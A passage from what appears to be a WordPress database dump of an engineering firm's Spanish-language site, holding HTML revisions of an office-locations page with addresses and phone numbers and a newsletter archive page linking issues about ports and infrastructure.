Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>dirección</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>dirección</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">Bogotá</h2>\r\n<strong>dirección</strong>\r\n\r\nAvenida Cra. 9 N.° 113-52, Of.1201\r\n\r\nBogotá D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Charleston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"27\">Charleston</h2>\r\n<strong>dirección</strong>\r\n\r\n4975 Lacross Road, Suite 151\r\n\r\nNorth Charleston, SC 29406\r\n\r\n<strong>teléfono</strong>\r\n\r\n+843-576-3750\r\n\r\n<strong>fax</strong>\r\n\r\n+843-576-3755\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÚ</h2>\r\n<strong>dirección</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>dirección</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>dirección</strong>\r\n\r\nFifth Floor, 35 Great St. Helen’s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+ 44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+ 44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG BEACH</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n562-424-7489\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"11\">NUEVA YORK</h2>\r\n<strong>dirección</strong>\r\n\r\n104 West 40th Street, 14th Floor\r\n\r\nNueva York, NY 10018\r\n\r\n<strong>teléfono</strong>\r\n\r\n212-768-7454\r\n\r\n<strong>fax</strong>\r\n\r\n212-768-7936\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"12\">NORFOLK</h2>\r\n<strong>dirección</strong>\r\n\r\n800 World Trade Center\r\n\r\nNorfolk, VA 23510\r\n\r\n<strong>teléfono</strong>\r\n\r\n757-628-8222\r\n\r\n<strong>fax</strong>\r\n\r\n757-628-8244\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"13\">OAKLAND</h2>\r\n<strong>dirección</strong>\r\n\r\n1300 Clay Street, Suite 550\r\n\r\nOakland, CA 94612\r\n\r\n<strong>teléfono</strong>\r\n\r\n510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"14\">ORLANDO</h2>\r\n<strong>dirección</strong>\r\n\r\n1025 Greenwood Blvd., Suite 371\r\n\r\nLake Mary, FL 32806\r\n\r\n<strong>teléfono</strong>\r\n\r\n407-562-2030\r\n\r\n<strong>fax</strong>\r\n\r\n407-562-2031\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"15\">PANAMÁ</h2>\r\n<strong>dirección</strong>\r\n\r\nOcean Business Plaza, Oficina 1204,\r\n\r\nAv. Aquilino de la Guardia y Calle 47\r\n\r\nPanamá, República de Panamá\r\n\r\n<strong>teléfono</strong>\r\n\r\n+ 507-301-0901\r\n\r\n<strong>fax</strong>\r\n\r\n+ 507-301-0906\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"16\">RALEIGH</h2>\r\n<strong>dirección</strong>\r\n\r\n1616 East Millbrook Road, Suite 160\r\n\r\nRaleigh, NC 27609\r\n\r\n<strong>teléfono</strong>\r\n\r\n919-781-4626\r\n\r\n<strong>fax</strong>\r\n\r\n919-781-4869\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"17\">RICHMOND</h2>\r\n<strong>dirección</strong>\r\n\r\n1100 Boulders Parkway, Suite 350\r\n\r\nRichmond, VA 23225\r\n\r\n<strong>teléfono</strong>\r\n\r\n804-320-1996\r\n\r\n<strong>fax</strong>\r\n\r\n804-560-0959\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"18\">ROCHESTER</h2>\r\n<strong>dirección</strong>\r\n\r\n250 Mill Street, Suite 307\r\n\r\nRochester, NY 14614\r\n\r\n<strong>teléfono</strong>\r\n\r\n585-641-7128\r\n\r\n<strong>fax</strong>\r\n\r\n585-777-4108\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"5\">RÍO DE JANEIRO</h2>\r\n<strong>dirección</strong>\r\n\r\nRua Farme de Amoedo, 56 / 8° andar\r\n\r\nIpanema – Río de Janeiro / RJ\r\n\r\nCEP 22420-020\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 2103-4630\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"19\">SACRAMENTO</h2>\r\n<strong>dirección</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>dirección</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>dirección</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>dirección</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>dirección</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Guam.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"6\">Tamuning</h2>\r\n<strong>dirección</strong>\r\n\r\nITC Building Suite 801\r\n\r\n590 S. Marine Corps Drive\r\n\r\nTamuning, Guam 96913\r\n\r\n<strong>teléfono</strong>\r\n\r\n671-648-1000\r\n\r\n<strong>fax</strong>\r\n\r\n671-648-1001\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>dirección</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, Canadá V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>dirección</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>dirección</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-5','','','2012-06-15 04:29:54','2012-06-15 04:29:54','',14,'http://moffattnichol.com/spanish/14-revision-5/',0,'revision','',0),(2549,1,'2012-06-15 09:54:23','2012-06-15 09:54:23','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancías  eficientemente a través del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energía—diseñando para tecnologías no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinámica iniciativa de los frentes costeros de hoy: los puertos se amplían y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopción de la automatización.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahora—calculando la protección para los frentes costeros y las vías navegables que enfrentan la elevación de mareas, el envejecimiento de la infraestructura y amenazas exteriores.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, número 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongación de la vida de servicio; la innovación del diseño infunde</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 7, número 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseño, aún más innovador y rápido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Boletín de noticias','','inherit','open','open','','75-revision-10','','','2012-06-15 09:54:23','2012-06-15 09:54:23','',75,'http://moffattnichol.com/spanish/75-revision-10/',0,'revision','',0),(2550,1,'2012-06-15 12:36:59','2012-06-15 12:36:59','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancías  eficientemente a través del complejo portuario y proporcionando seguridad a 